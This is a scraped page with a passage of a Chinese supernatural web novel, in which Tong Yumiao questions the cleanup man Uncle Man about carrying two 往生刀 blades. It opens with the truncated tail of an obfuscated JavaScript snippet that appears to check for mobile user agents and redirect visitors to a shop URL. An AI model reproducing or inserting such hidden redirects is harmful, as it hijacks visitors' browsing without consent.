l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434429|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过马路:“没什么,碰见老朋友了而已。” 佟喜在后头毫不客气一脚踹在他背上:“老朋友?我是没想到你脸皮竟然厚到这种地步,畜生你跟谁称兄道弟呢?” 这一脚力道极重,白雾猝不及防往前踉跄,内脏都是一震。白雾关键时刻托了一把,这才没让亲戚脸着地摔在地上。 白筝咳了两嘴,敛了笑意:“你怎么总在新人面前给我下马威,让我真的很没面子。” 白雾恼了:“你有点过分了吧,佟喜。” 佟喜没说话,往前走,狠狠撞了一下白筝的肩膀,略过他们朝泊灵馆走去。 白筝拂开白雾关切的手,拍了拍手背:“没事。” 白雾拉住他:“我看不惯。” 白筝:“真的没事,他一直都这样。” 白雾拉着嘴角,生气。 白筝:“好了好了,心疼你自己。衣服上这么多香灰,受伤了吧。” 白雾:“……”他不想说。 白筝扭头走了。 白雾看着白筝离去的背影,气得要跺脚。 蔺季云悄悄摸过来,刚才屁都不敢放一个,现在才小声询问道:“他俩……咋了?” 白雾:“两个神经病。” …… 佟玉邈回到池面,从沙发旁的角落里找到了庞笑笑,将她轻轻抱到了沙发上,整理着她的碎发。 门外,有人从院墙处翻了进来,她才抬头。 来人是个大叔,羁玄堂专门负责现场善后的人员。入行时间和佟玉邈年纪差不多,虽没法下池底,却是个资历相当深的老前辈,经常跟在佟家后面擦屁股。 但也和佟玉邈一样,算个边缘人物。 佟玉邈非常尊重他,起身迎接。 “满叔。” “哎,还活着呢?”满叔往里一瞧,“佟家人都以为你会死在这,准备抽点骨干过来。我看这回这帮人是要吃瘪了哈哈哈。” 佟玉邈接过他沉重的背包。 满叔如释重负笑了,看来担心得不轻:“这别墅里头的大东西被你一个人解决了?” 佟玉邈抿了抿嘴,没说话。 她平日里也不爱说话,满叔当她默认了:“争气!这下你可以往上爬了。说来,我还是看着你长大的呢,一转眼都能独当一面了,日后飞黄腾达了,可不能忘了你满叔。” 佟玉邈笑不出来,仍旧扯了个真诚的笑:“谢谢叔。” 满叔走过来,作为善后人员,身上同样佩有一把用于防身的往生刀,只是他这把较为暗淡,铃兰纹路也没那么明显。 佟玉邈虽说答应了前辈们不透露行踪,却还是按捺不下好奇心。 “满叔。” 佟玉邈叫住他:“往生刀,为什么有人佩一把,而有的人佩两把呢?” 满叔正在思考如何处理尸体,动作一顿,转头:“两把?你见着谁了啊?这年头还有谁敢佩两把。” 佟玉邈:“没,只是好奇一问,感觉往生刀佩两把,一左一右更合适。” 满叔严肃指了指她:“这话可不能说。” “为什么?”她追问。 “两把往生刀,那是罪人佩的。”说到这,满叔摇了摇头,“一转眼快二十年了,岁月不饶人啊。” “罪人?什么罪人?” “白家当年出的一个小子咯,死了十七年了。当年你表哥就是天天跟他混,最后落得那样一个下场。这人和你表哥他们都是羁玄堂大忌,可不能打听。” 满叔摆手,似是不再愿意往下说。 佟玉邈不知为何,呼吸像是被扼住了,喘不过来气。 满叔将尸体收拾好,又把别墅内恢复原样,不留下半点痕迹。 临走时,佟玉邈再一次旁敲侧击,聊起了白家之事。 “这次的怨灵真是大费周章才能拿下,要是能得白家血脉之人的支援,是不是就轻而易举?” 满叔不屑一笑:“你也是异想天开。白家那几个白头发的,差不多都死完了,哪还能来这种小地方。” 佟玉邈垂下眼。 “知道了。”